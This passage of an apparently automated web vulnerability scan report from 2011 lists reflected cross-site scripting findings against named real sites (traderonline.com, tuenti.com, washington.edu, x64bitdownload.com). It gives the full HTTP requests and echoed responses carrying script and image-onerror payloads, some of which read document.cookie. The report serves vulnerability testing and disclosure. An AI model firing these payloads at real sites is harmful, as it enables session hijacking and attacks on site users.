<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/securityec6df<script>alert(1)</script>04ceb87c2eb/</span> ...[SNIP]...
4.1467. http://www.traderonline.com/security/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.traderonline.com
Path:
/security/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload af3e2"%3balert(1)//10f0b96a9fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as af3e2";alert(1)//10f0b96a9fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /security/?af3e2"%3balert(1)//10f0b96a9fe=1 HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:59:00 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 40601
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>TraderOnline.com Safety & Fraud Center - Protect Yourself from Online Fraud</title> <meta name="description" ...[SNIP]... <SCRIPT>DisplayAds("traderonline","www.traderonline.com/", "", "", "?af3e2";alert(1)//10f0b96a9fe=1&","Right1","0","0")</SCRIPT> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload fecde<script>alert(1)</script>d30d288ed03 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sellfecde<script>alert(1)</script>d30d288ed03/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:21 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27584
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/sellfecde<script>alert(1)</script>d30d288ed03/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ff701<script>alert(1)</script>48128bf00f4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sitemapff701<script>alert(1)</script>48128bf00f4/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:01 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27587
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/sitemapff701<script>alert(1)</script>48128bf00f4/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 42768<script>alert(1)</script>a6b1bbad8b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /terms-of-use42768<script>alert(1)</script>a6b1bbad8b5/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:47 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27592
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/terms-of-use42768<script>alert(1)</script>a6b1bbad8b5/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ec89d<script>alert(1)</script>93a08fbf703 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /x22ec89d<script>alert(1)</script>93a08fbf703 HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:12:07 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27582
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/x22ec89d<script>alert(1)</script>93a08fbf703</span> ...[SNIP]...
4.1472. http://www.traderonline.com/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.traderonline.com
Path:
/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 522a7<script>alert(1)</script>3f4e0a626ca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /x22?522a7<script>alert(1)</script>3f4e0a626ca=1 HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:12:03 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27585
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/x22?522a7<script>alert(1)</script>3f4e0a626ca=1</span> ...[SNIP]...
4.1473. http://www.tuenti.com/share [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.tuenti.com
Path:
/share
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15a61"><script>alert(1)</script>29d0ea3ffb0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /share?15a61"><script>alert(1)</script>29d0ea3ffb0=1 HTTP/1.1 Host: www.tuenti.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate Expires: Mon, 26 Jul 2005 04:59:59 GMT Content-Type: text/html Connection: close Date: Tue, 25 Jan 2011 04:39:29 GMT Content-Length: 39388
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en_US" lang="en_US" xmlns:fw="http://ww ...[SNIP]... <form method="post" action="?15a61"><script>alert(1)</script>29d0ea3ffb0=1" id="lang_form_1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f972a<img%20src%3da%20onerror%3dalert(1)>e6e3afeb687 was submitted in the REST URL parameter 1. This input was echoed as f972a<img src=a onerror=alert(1)>e6e3afeb687 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img%20src%3da%20onerror%3dalert(1)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:12:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1141 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(1)>e6e3afeb687/</b> was not found or is no longer ...[SNIP]... <br> Reason: File does not exist: /www/world/alpinef972a<img src=a onerror=alert(1)>e6e3afeb687.</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag. The payload 13141><img%20src%3da%20onerror%3dalert(1)>dc54bd8fde8 was submitted in the REST URL parameter 1. This input was echoed as 13141><img src=a onerror=alert(1)>dc54bd8fde8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img13141><img%20src%3da%20onerror%3dalert(1)>dc54bd8fde8 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:07 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1181 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img13141><img src=a onerror=alert(1)>dc54bd8fde8</b> was not found o ...[SNIP]... <img13141><img src=a onerror=alert(1)>dc54bd8fde8.</br> ...[SNIP]...
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1e946<script>alert(1)</script>a554c0a9069 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /alpinef972a<img?1e946<script>alert(1)</script>a554c0a9069=1 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:54 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1116 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img?1e946<script>alert(1)</script>a554c0a9069=1</b> was not found or is no lo ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload e2312><img%20src%3da%20onerror%3dalert(1)>f9a01abcc36 was submitted in the REST URL parameter 1. This input was echoed as e2312><img src=a onerror=alert(1)>f9a01abcc36 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img%20srce2312><img%20src%3da%20onerror%3dalert(1)>f9a01abcc36=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:10 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1328 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img srce2312><img src=a onerror=alert(1)>f9a01abcc36=a onerror=alert ...[SNIP]... <img srce2312><img src=a onerror=alert(1)>f9a01abcc36=a onerror=alert(String.fromCharCode(88,83,83.</br> ...[SNIP]...
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 24c9e<script>alert(1)</script>e47c3de87fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83?24c9e<script>alert(1)</script>e47c3de87fe=1 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:00 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1263 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83?24c9e<script>alert(1)</script>e47c3de87fe=1</b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload 8624f><img%20src%3da%20onerror%3dalert(1)>a52668d1945 was submitted in the REST URL parameter 1. This input was echoed as 8624f><img src=a onerror=alert(1)>a52668d1945 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img%20src8624f><img%20src%3da%20onerror%3dalert(1)>a52668d1945=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:09 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1378 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src8624f><img src=a onerror=alert(1)>a52668d1945=a onerror=alert ...[SNIP]... <img src8624f><img src=a onerror=alert(1)>a52668d1945=a onerror=alert(String.fromCharCode(88,83,83))> ...[SNIP]...
4.1480. http://www.washington.edu/alpinef972ae6e3afeb687/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload b8e4f<script>alert(1)</script>22252d51a54 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/?b8e4f<script>alert(1)</script>22252d51a54=1 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:59 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1313 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/?b8e4f<script>alert(1)</script>22252d51a54=1</b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload ef31e><img%20src%3da%20onerror%3dalert(1)>0cd7daaa6cd was submitted in the REST URL parameter 1. This input was echoed as ef31e><img src=a onerror=alert(1)>0cd7daaa6cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img%20srcef31e><img%20src%3da%20onerror%3dalert(1)>0cd7daaa6cd=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:07 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1289 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img srcef31e><img src=a onerror=alert(1)>0cd7daaa6cd=a onerror=alert ...[SNIP]... <img srcef31e><img src=a onerror=alert(1)>0cd7daaa6cd=a onerror=alert(document.cookie.</br> ...[SNIP]...
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 908e6<script>alert(1)</script>c5fe2abfd28 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie?908e6<script>alert(1)</script>c5fe2abfd28=1 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:54 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1224 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie?908e6<script>alert(1)</script>c5fe2abfd28=1</b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload bafe1><img%20src%3da%20onerror%3dalert(1)>1bf1e4c1efb was submitted in the REST URL parameter 1. This input was echoed as bafe1><img src=a onerror=alert(1)>1bf1e4c1efb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img%20srcbafe1><img%20src%3da%20onerror%3dalert(1)>1bf1e4c1efb=a%20onerror=alert(document.cookie)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:06 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1336 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img srcbafe1><img src=a onerror=alert(1)>1bf1e4c1efb=a onerror=alert ...[SNIP]... <img srcbafe1><img src=a onerror=alert(1)>1bf1e4c1efb=a onerror=alert(document.cookie)> ...[SNIP]...
4.1484. http://www.washington.edu/alpinef972ae6e3afeb687/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 17a40<script>alert(1)</script>9052f2c52d7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie)>e6e3afeb687/?17a40<script>alert(1)</script>9052f2c52d7=1 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:54 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1271 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie)>e6e3afeb687/?17a40<script>alert(1)</script>9052f2c52d7=1</b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 1fab8<img%20src%3da%20onerror%3dalert(1)>cbed7a69ba2 was submitted in the REST URL parameter 1. This input was echoed as 1fab8<img src=a onerror=alert(1)>cbed7a69ba2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /pine1fab8<img%20src%3da%20onerror%3dalert(1)>cbed7a69ba2/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:12:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1135 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/pine1fab8<img src=a onerror=alert(1)>cbed7a69ba2/</b> was not found or is no longer on ...[SNIP]... <br> Reason: File does not exist: /www/world/pine1fab8<img src=a onerror=alert(1)>cbed7a69ba2.</br> ...[SNIP]...
4.1486. http://www.x64bitdownload.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ff09"><script>alert(1)</script>13dc0cda439 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?2ff09"><script>alert(1)</script>13dc0cda439=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
